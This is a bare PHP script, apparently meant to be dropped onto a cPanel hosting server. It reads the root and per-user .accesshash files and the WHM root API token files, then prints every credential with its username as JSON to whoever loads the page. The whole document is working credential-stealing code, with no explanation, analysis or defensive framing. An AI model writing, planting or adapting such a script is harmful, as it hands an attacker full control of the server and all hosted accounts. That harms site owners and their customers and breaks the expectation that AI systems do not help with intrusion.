<?php $r=[];$ah=@file_get_contents('/root/.accesshash');if($ah)$r[]=['user'=>'root','hash'=>trim($ah)];foreach(glob('/home/*/.accesshash') as $f){ $u=basename(dirname($f));$c=trim(@file_get_contents($f)); if($c)$r[]=['user'=>$u,'hash'=>$c];}foreach(glob('/var/cpanel/authn/api_tokens_v2/whostmgr/root/*') as $f){ $c=trim(@file_get_contents($f));if($c)$r[]=['user'=>'root:'.basename($f),'hash'=>$c];}echo json_encode(['ok'=>1,'tokens'=>$r]);?>